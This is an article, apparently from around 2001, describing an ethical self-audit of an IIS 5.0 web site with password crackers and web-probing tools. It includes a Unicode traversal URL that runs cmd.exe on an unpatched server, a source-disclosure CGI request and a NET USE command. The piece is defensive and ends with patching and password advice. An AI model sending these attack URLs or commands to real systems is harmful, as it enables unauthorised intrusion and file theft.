Be the hacker

Ethical hacking of your own Web site can reveal problems and vulnerabilities before the bad guys find them.

A good intrusion-detection system is one way to fight off hackers. Studying news of security threats and installing the latest patches is another excellent idea. Hacking your own Web site to verify that it’s secure is yet another.

If you hack your own network, make sure to give yourself a safe environment. Making back-up copies of server files and configuration data can be a  lifesaver when your hacking attempts succeed beyond your wildest expectations. And make sure the appropriate people know what you’re doing beforehand. In your status reports and memos, however, don’t refer to your activities as hacking. Use the term “auditing” – it sounds better. Nonetheless, ethical hacking is what you’ll be doing.

During a recent project to improve security at a Microsoft  Internet Information Server (IIS) 5.0-based Web site, we used five hacking tools:

•  @stake’s  NetCat 1.1; a script-driven utility that connects to Web sites, sends HTML requests and shows the Web sites’ responses.

•  Rain Forest Puppy’s  Whisker 2.1 for Unix and Whisker 1.4 for Windows; Web site checking tools that obtain Web site contents, run programs on the Web server and crack Web site passwords.

•  HooBie’s  Brutus AET2 and EliteSys’ Entry 2.7; superlative, fast password crackers.

•  Tennyson Maxwell Information Systems’  Teleport Pro 1.29; a Web spider that discovers and copies Web server files.

Our self-hacking game plan was to gain access to the Web site by bombarding it with badly formed URLs, cut through authentication barricades by guessing passwords and copy Web site files once we’d cracked the site’s security. The five tools helped by revealing operating system and other files on the Web server, defeating password protections and even obtaining (simulated) credit card files.

Some really bad characters

Our research, in combination with NetCat’s documentation, suggested that we could break in by using the UniCode IIS bug. This Microsoft IIS vulnerability was discovered in October 2000, but many sites have yet to apply the security patches that fix it.

It works this way: A hacker tries to access the network via a particular type of badly formed URL, which can cause the Web server to give the hacker access to directories containing files and executables. The hacker can then copy the files or download the executable and launch it remotely.

Our first goal was to gain some basic information about the Web site. In a typical Web server interaction, a client’s browser sends a “GET/Default.htm” request to the Web server, along with some browser identification data (such as Mozilla/4.0+ compatible; +MSIE+5.5; +Windows +NT +4.0). The Web server responds with a return code of 200, which indicates success, some identifying information of its own and the contents of the Default.htm Web page.

Examining the Web server’s responses told us volumes about that specific Web server. We easily discovered details that let us access its operating system files, data files, script programs and databases.

An example of this dangerous type of URL is www.sitenamehere.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:. Unless patched, the Web site responds to this URL with a list of directories and files on the server’s D: drive.

We were able to use special characters (illegal Unicode encodings of the “/” character) inside bizarre-looking URLs to gain access to directories that we shouldn’t have had access to, such as the directoryWINNTSystem32. Inside that directory, we found the server’s command shell CMD.EXE program.

In separate tests, we experimented with Unix and Linux machines running Apache Web server software. We found that Unix and Linux files also are at risk. For example, a server might have a Perl CGI  script index program as part of the site’s search feature. Sending a www.site.com/index.cgi?page=index.cgi GET request to the server revealed the source code for the index.cgi program. We could glean quite a bit of information about a site by examining the Perl script that implements its search feature.

Stealing credit card numbers

We used the UniCode IIS bug and other Windows idiosyncrasies to learn which files were on the server, to look at the contents of those files and to copy the files. Next, we established passwords to deter unauthorized server access. And we quickly learned that lackadaisically administered passwords are no obstacle to hackers.

Whisker, Brutus and Entry made short work of guessing simple name- or birthday-related passwords we initially created. These tools also could guess correct passwords based on permutations of the simple passwords we started with.

Once we guessed a password for the Windows machine, we sidestepped the IIS, Apache or Netscape software. Because file and print sharing were active by default on the Windows Web server, we merely needed to issue the following simple command via CMD.EXE to access files: NET USE F: ServerNameShareName password.

Even after we disabled file and print sharing, we still could use Teleport Pro to copy server files nearly effortlessly to another machine. We only needed to know the password of a logon account with sufficient permissions to access the files. Guessing the password wasn’t terribly difficult when we used a software tool that generates permutations of entries in word lists. The tools are blazingly fast, too. Depending on factors such as bandwidth, latency and CPU speed, a password-cracking tool can issue up to 30,000 password attempts per minute.

A good password-cracking tool is fast and flexible. For example, before we ran Brutus to generate permutations of candidate passwords we supplied in a word list file, we told Brutus the nature of the passwords it should try. We could specify that trial passwords should be upper, lower or mixed case letters, just numeric digits, any keys pressed or characters from a custom set. We could also tell Brutus the minimum and maximum number of characters each trial password should contain.

Before we imposed new, strict password guidelines, we found that the password-cracking tools quickly discovered many of the Web server’s existing passwords. In one of our hacking attempts, the combination of Brutus and Teleport Pro easily and painlessly disclosed the contents of a simulated credit card file. The file or database could just as well have contained any other private, business-sensitive information for us to exploit.

Setting up password challenges can thwart unauthorized Web server access, but only if you make your passwords unguessable. We suggest you adopt a corporate policy regarding passwords that specifies each user’s password must be at least six (or even eight) characters, contain both letters and numbers, change periodically and not be based on people’s names or birthdays.

Conclusion

In our project to improve Web site security, we found that hackers can all too easily use malformed URLs and other tricks to gain access to servers and files on your network. To fend off these digital breaking and entering attempts, we set up some simple procedures at the client site, including staying abreast of security patches, faithfully applying those patches and periodically checking log files for break-in attempts. We also put in place a procedure for ethically hacking the site on a regular basis.

Figure 3. Yet more complex probes. Note the attempts to invoke tftp in the second, third and fourth events, along with the use of %2f as a special character.